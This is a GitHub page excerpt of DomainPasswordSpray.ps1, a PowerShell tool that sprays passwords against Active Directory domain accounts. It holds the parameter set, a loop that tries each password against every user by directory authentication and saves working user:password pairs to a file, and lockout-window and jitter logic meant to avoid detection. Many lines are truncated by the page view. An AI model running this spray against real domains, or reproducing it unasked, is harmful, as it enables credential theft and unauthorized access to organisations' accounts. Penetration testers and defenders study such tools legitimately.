DomainPasswordSpray / DomainPasswordSpray.ps1

History

Code Blame 572 lines (466 loc) · 19.2 KB Raw

```
function Invoke-DomainPasswordSpray{
    <#
    .SYNOPSIS

    This module performs a password spray attack against users of a domain. By default

    DomainPasswordSpray Function: Invoke-DomainPasswordSpray
    Author: Beau Bullock (@dafthack) and Brian Fehrman (@fullmetalcache)
    License: BSD 3-Clause
    Required Dependencies: None
    Optional Dependencies: None

    .DESCRIPTION

    This module performs a password spray attack against users of a domain. By default

    .PARAMETER UserList

    Optional UserList parameter. This will be generated automatically if not specified.

    .PARAMETER Password

    A single password that will be used to perform the password spray.

    .PARAMETER PasswordList

    A list of passwords one per line to use for the password spray (Be very careful not

    .PARAMETER OutFile

    A file to output the results to.

    .PARAMETER Domain

    The domain to spray against.

    .PARAMETER Filter

    Custom LDAP filter for users, e.g. "(description=*admin*)"

    .PARAMETER Force

    Forces the spray to continue and doesn't prompt for confirmation.

    .PARAMETER Fudge

    Extra wait time between each round of tests (seconds).

    .PARAMETER Quiet

    Less output so it will work better with things like Cobalt Strike

    .PARAMETER UsernameAsPassword

    For each user, will try that user's name as their password

    .EXAMPLE

    C:\PS> Invoke-DomainPasswordSpray -Password Winter2016

    Description
    -----------
    This command will automatically generate a list of users from the current user's do

    .EXAMPLE

    C:\PS> Invoke-DomainPasswordSpray -UserList users.txt -Domain domain-name -Password

    Description
    -----------
    This command will use the userlist at users.txt and try to authenticate to the doma

    .EXAMPLE

    C:\PS> Invoke-DomainPasswordSpray -UsernameAsPassword -OutFile valid-creds.txt

    Description
    -----------
    This command will automatically generate a list of users from the current user's do

    #>
    param(
     [Parameter(Position = 0, Mandatory = $false)]
     [string]
     $UserList = "",

     [Parameter(Position = 1, Mandatory = $false)]
     [string]
     $Password,

     [Parameter(Position = 2, Mandatory = $false)]
     [string]
     $PasswordList,

     [Parameter(Position = 3, Mandatory = $false)]
     [string]
     $OutFile,

     [Parameter(Position = 4, Mandatory = $false)]
     [string]
     $Filter = "",

     [Parameter(Position = 5, Mandatory = $false)]
     [string]
     $Domain = "",

     [Parameter(Position = 6, Mandatory = $false)]
     [switch]
     $Force,

     [Parameter(Position = 7, Mandatory = $false)]
     [switch]
     $UsernameAsPassword,

     [Parameter(Position = 8, Mandatory = $false)]
     [int]
     $Delay=0,

```

```

function Invoke-SpraySinglePassword
{
    param(
            [Parameter(Position=1)]
            $Domain,
            [Parameter(Position=2)]
            [string[]]
            $UserListArray,
            [Parameter(Position=3)]
            [string]
            $Password,
            [Parameter(Position=4)]
            [string]
            $OutFile,
            [Parameter(Position=5)]
            [int]
            $Delay=0,
            [Parameter(Position=6)]
            [double]
            $Jitter=0,
            [Parameter(Position=7)]
            [switch]
            $UsernameAsPassword,
            [Parameter(Position=7)]
            [switch]
            $Quiet
        )
        $time = Get-Date
        $count = $UserListArray.count
        Write-Host "[*] Now trying password $Password against $count users. Current time is
        $curr_user = 0
        if ($OutFile -ne ""-and -not $Quiet)
        {
            Write-Host -ForegroundColor Yellow "[*] Writing successes to $OutFile"
        }
        $RandNo = New-Object System.Random

        foreach ($User in $UserListArray)
        {
            if ($UsernameAsPassword)
            {
                $Password = $User
            }
            $Domain_check = New-Object System.DirectoryServices.DirectoryEntry($Domain,$Use
            if ($Domain_check.name -ne $null)
            {
                if ($OutFile -ne "")
                {
                    Add-Content $OutFile $User`:$Password
                }
                Write-Host -ForegroundColor Green "[*] SUCCESS! User:$User Password:$Passwo
            }
            $curr_user += 1
            if (-not $Quiet)
            {
                Write-Host -nonewline "$curr_user of $count users tested`r"
            }
            if ($Delay)
            {
                Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay)
            }
        }

    }

    function Get-ObservationWindow($DomainEntry)
    {
        # Get account lockout observation window to avoid running more than 1
        # password spray per observation window.
        $lockObservationWindow_attr = $DomainEntry.Properties['lockoutObservationWindow']
        $observation_window = $DomainEntry.ConvertLargeIntegerToInt64($lockObservationWindo
        return $observation_window
    }
```